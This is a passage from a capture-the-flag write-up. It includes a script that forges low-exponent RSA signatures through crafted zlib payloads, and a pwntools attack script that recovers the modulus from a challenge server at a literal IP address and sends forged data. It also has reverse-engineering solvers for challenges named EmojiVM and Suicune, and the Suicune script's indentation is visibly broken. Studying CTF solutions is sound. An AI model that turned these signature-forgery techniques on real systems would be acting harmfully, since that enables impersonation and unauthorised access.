			re.append((16,i[1]-4))
		else:
			re.append((i[0],0))
			re.append((16,3))
			if i[1]-7<=2:
				for j in range(i[1]-7):
					re.append((i[0],0))
			else:
				re.append((16,i[1]-10))
	return re[1:]

@nb.jit(nopython=True)
def ad(s,l,x):
	if l!=-1:
		for i in range(l):
			s.append(x>>i&1)
	else:
		assert x
		t=0
		while x>>t:
			t+=1
		for i in range(t-2,-1,-1):
			s.append(x>>i&1)

@nb.jit(nopython=True)
def compress(s):
	t={-1:-1}
	t.pop(-1)
	for i in s:
		t[i]=0
	for i in s:
		t[i]+=1
	for i in range(10):
		t[i+48]+=100
	t[34]+=40
	t2=[]
	for i in t:
		t2.append((t[i],i))
	t=t2
	t.sort()
	t=t[::-1]
	tx=[]
	for i2 in t: tx.append(i2[0])
	tx.append(1)
	tp=[4]*11+[5]*8+[6]*4
	tpx=[0 for i in range(257)]
	for i in range(len(t)):
		tpx[t[i][1]]=tp[i]
	tpx[256]=tp[-1]
	tpc=get_hdict(tpx)
	tl=getkl(tpx+[0])
	tlu={}
	for ii in tl:
		tlu[ii[0]]=0
	for ii in tl:
		tlu[ii[0]]+=1
	tlux=[]
	for i in tlu:
		tlux.append((tlu[i],i))
	tlux.sort()
	tlux=tlux[::-1]
	tlk_=[]
	for ii in tlux:
		tlk_.append(ii[0])
	tlkl=cal_huffman(tlk_)
	tlklu=[0]*19
	for i in range(len(tlux)):
		tlklu[tlux[i][1]]=tlkl[i]
	
	res=[0]
	res.pop()
	res+=[1] #final
	ad(res,2,2) #type
	ad(res,5,0) #hlit
	ad(res,5,0) #hdist
	tlklc=get_hdict(tlklu)
	
	rest=[0]
	rest.pop()
	ad(rest,3,tlklu[16])
	ad(rest,3,tlklu[17])
	ad(rest,3,tlklu[18])
	ad(rest,3,tlklu[0])
	tlklu[16]=0
	tlklu[17]=0
	tlklu[18]=0
	tlklu[0]=0
	for i in range(100):
		su=0
		for j in tlklu:
			su+=j
		if su==0:break
		j = (8 + i // 2) if (i % 2 == 0) else (7 - i // 2)
		ad(rest,3,tlklu[j])
		tlklu[j]=0
	ad(res,4,(len(rest)-12)/3) #hclen
	res+=rest
	
	for ii in tl:
		ad(res,-1,tlklc[ii[0]])
		if ii[0]==16:
			ad(res,2,ii[1])
		elif ii[0]==17:
			ad(res,3,ii[1])
		elif ii[0]==18:
			ad(res,7,ii[1])
	
	for i in s:
		ad(res,-1,tpc[i])
	ad(res,-1,tpc[256])
	while len(res)%8:
		res+=[0]
	fin=[]
	for i in range(0,len(res),8):
		tuu=0
		for j in range(8):
			tuu+=res[i+j]<<j
		fin.append(tuu)
	return fin

def real_comp(s):
	fin=''.join(map(chr,compress(list(map(ord,list(s))))))
	ss=zlib.compress(s)
	return '789c'.decode('hex')+fin+ss[-4:]

def sign(m_):
	m,id=m_
	h=int(hashlib.sha256(m).hexdigest(),16)
	ni=0
	hh=str(h)
	mi=10**15
	posi=0
	while True:
		a=ni%(len(hh)-7);b=ni/(len(hh)-7)
		t='{"hash":%d,"nonce":"%s"}'%(h,''.join([random.choice(list('0123456789'))for _ in range(8)]))
		x=real_comp(t)
		if len(x)<=83:posi+=1
		u='\xCA\xFE\x12\x04'+x+'\0'*(251-len(x))
		v=int(u.encode('hex'),16)
		g=iroot(v,3)
		g=g[0] if g[1] else g[0]+1
		v=g**3
		rv=('%x'%v).decode('hex')
		ut=int(rv[4:4+len(x)].encode('hex'),16)^int(x.encode('hex'),16)
		if ut<mi:
			mi=ut
			print 'cur best(%d):'%id,mi
		if rv[4:4+len(x)]==x:
			open('result.txt','ab').write(m+' '+rv+'\n')
			print rv
			return rv
		ni+=1
		if ni%1000==0:
			print ni,posi

if __name__ == '__main__':    
	pool = Pool(processes=4)
	pool.map(sign,[('meow*',_) for _ in range(4)])
```

Attack script:
```python
from pwn import *
from gmpy2 import gcd,iroot
import zlib,hashlib

r=remote('54.92.6.97', 3239)

def geto():
	r.recvuntil('meow?\n')
	r.send('meow~\n')
	r.recvuntil('meow~\n')
	r.send('a\n')
	return int(r.recvuntil('\n'))

diff=0xcafe1204<<2008

s=[]
for i in range(12):
	print 'retrieve:',i
	s.append(geto())

s=list(map(lambda x:x**3-diff,s))
s.sort()
os=s[0].bit_length()
print(os)
sold=s
st=[]
for i in range(len(s)):
	st.append((s[i],[1 if _==i else 0 for _ in range(len(s))]))
s=st

K=1000

cnt=0

def sub(a,b):
	t=[]
	for i in range(len(a)):
		t.append(a[i]-b[i])
	return t

def mul(a,b):
	t=[]
	for i in range(len(a)):
		t.append(a[i]*b)
	return t

def subx(a,b):
	return (a[0]-b[0],sub(a[1],b[1]))

for i in range(5000):
	t=[]
	if len(s)<K*.9:
		for j in range(len(s)):
			t.append(s[j])
			for k in range(j+1,min(len(s),j+4)):
				t.append(subx(s[k],s[j]))
	else:
		for j in range(len(s)-1):
			t.append(subx(s[j+1],s[j]))
		for j in range(min(len(s),1000)):
			t.append(s[j])
	t.sort()
	t2=[]
	for j in t:
		if j[0]<(1<<1900):continue
		if len(t2)==0 or j[0]>t2[-1][0]+(1<<1900) or (t2[-1][0].bit_length()==2048 and j[0].bit_length()==2048 and t2[-1]!=j):
			t2.append(j)
	t=t2
	t=t[:K]
	tb=t[0][0].bit_length()
	if i%10==0: print i+1,os-tb,'%.5f'%((os-tb)/(i+1.))
	s=t
	if t[0][0].bit_length()==2048:
		cnt+=1
		if cnt>=15:
			break

full=(1<<2048)-1
mask=full
for i in range(len(s)-1):
	if s[i+1][0].bit_length()!=2048: continue
	t=full^s[i][0]^s[i+1][0]
	if (t>>2045)!=7: continue
	mask&=t
mask^=full
t=0
while (1<<t)<mask:
	t+=1
mask=full^(1<<t)-1
print(t)
req=s[0][0]&mask
sn=[]
for i in s:
	if (i[0]&mask)==req:
		sn.append(i[1])

s=[]
for i in range(len(sn)-1):
	s.append(sub(sn[i],sn[i+1]))

while len(s[0])>2:
	sn=[]
	st=[]
	for j in s:
		if j[-1]:
			st.append(j)
		else:
			sn.append(j[:-1])
	for j in range(len(st)-1):
		a=st[j]
		b=st[j+1]
		at=mul(a,b[-1])
		bt=mul(b,a[-1])
		t=sub(at,bt)
		assert t[-1]==0
		sn.append(t[:-1])
	s=sn
for i in s:
	if i[0]:
		a,b=i
g=gcd(a,b)
a/=g;b/=g
tn=sold[0]/abs(b)
tn*=req/tn if req%tn<tn/2 else req/tn+1
n=tn
print 'found n:',n

def encrypt(s):
	return '%0512x'%pow(int(('\xCA\xFE\x12\x04'+'\0'*(251-len(s))+s).encode('hex'),16),3,n)

keys={}
keys['meow*']='%0512x'%4643124907324364176541919631092611537462168169113368694062754706716345623066850854804612072567302665612238408034253132873785414030172160601569222092854027911483401638265250179534654654959278137810816171464

r.recvuntil('meow?\n')
r.send('meow!\n')
r.recvuntil('meow meow~\n')
e=encrypt('meow*')
r.send(e+'\n')
r.recvuntil('meow meow meow?\n')
r.send(keys['meow*']+'\n')
r.interactive()
```

# Reverse
### EmojiVM
It requires some token to print flag. The token is encrypted.
```python
s=[142, 99, 205, 18, 75, 88, 21, 23, 81, 34, 217, 4, 81, 44, 25, 21, 134, 44, 209, 76, 132, 46, 32, 6, 0]
s2=[]
for i in range(25):
	if i%4==0:
		s2.append(s[i]-30)
	elif i%4==1:
		s2.append((s[i]^7)+8)
	elif i%4==2:
		s2.append(((s[i]+4)^68)-44)
	else:
		s2.append(s[i]^4^101)
print(''.join(map(chr,s2[:-1])))
```
Use the script above to find the token. Then just paste the token to get flag.

### Suicune
It requires a key in 0~0xffff to encrypt a given message of length N.
The encryption is in 16 rounds, in each rounds, the key is uses to shuffle a permutation of 0~255, then the first N bytes of the permutation will be processed, then xor to the original message.
The process is to regard it as a permutation, and next it K times, where K is related to key.

```python
def fcount(s):
	res=0
	for i in range(len(s)):
		c=0
		for j in range(i+1,len(s)):
			c+=s[j]>s[i]
		res+=c*fac[len(s)-i-1]
	return res

def fkth(n,k):
	s=[0 for i in range(n)]
	for i in range(n-1,-1,-1):
		s[i]=n-i-1-(k%fac[n-i]//fac[n-i-1])
		for j in range(i+1,n):
			if s[j]>=s[i]:
				s[j]+=1
	return s

def fwalk(s,k):
	t=fcount(s)
	t=max(0,t-k)
	st=fkth(len(s),t)
	s.sort()
	res=[]
	for i in st:
		res.append(s[i])
	return res

fac=[1]
for i in range(1,100):
	fac.append(fac[-1]*i)

def ROR4(x,y):
	x%=(1<<32)
	assert y>=0 and y<32
	return ((x>>y) | (x<<(32-y))) % (1<<32)

def keystr(s):
	r='%016x'%s
	u=''
	for i in range(16,0,-2):
		u+=r[i-2:i]
	return u

L=49
enc='04dd5a70faea88b76e4733d0fa346b086e2c0efd7d2815e3b6ca118ab945719970642b2929b18a71b28d87855796e344d8'

for key in range(1<<16):
	raw=[0]*L
	okey=key
	key=(6364136223846793005*(key%0x10000)+6364136223846793006)%(1<<64)

for T in range(16):
		Carr=[_ for _ in range(256)]

for v41 in range(255,0,-1):
			v154=v41+1
			v51=key
			if ((1<<32)-v154)%v154:
				v155=key
				while True:
					v155 = (1 + 6364136223846793005 * v155) % (1<<64)
					v156 = ROR4((v51 ^ (v51 >> 18)) >> 27, v51 >> 59)
					v51 = v155
					if v156 < (1<<32) - (((1<<32)-v154) % v154):
						break
			else:
				v155 = (1 + 6364136223846793005 * v51) % (1<<64)
				v157 = (v51 ^ (v51 >> 18)) >> 27
				v51 >>= 59
				v156 = ROR4(v157, v51)
			key = v155
			v158 = v156 % v154
			Carr[v41],Carr[v158]=Carr[v158],Carr[v41]
		dest = 0
		for i in range(0,64,32):
			dest += ROR4((key ^ (key >> 18)) >> 27, key >> 59) << i
			key = (1 + 6364136223846793005 * key) % (1<<64)

Darr = Carr[:L]
		
		Darr=fwalk(Darr,dest)
		
		tmp=[]
		for i in range(L-1,-1,-1):
			tmp.append(raw[i]^Darr[i])
		raw=tmp

res=''
	ok=True
	for i in range(0,L*2,2):
		t=int(enc[i:i+2],16)^raw[i//2]
		res+=chr(t)
		ok=ok and t>=32 and t<=127
	if ok:
		print(res)
	if okey%100==0:
		print(okey)
```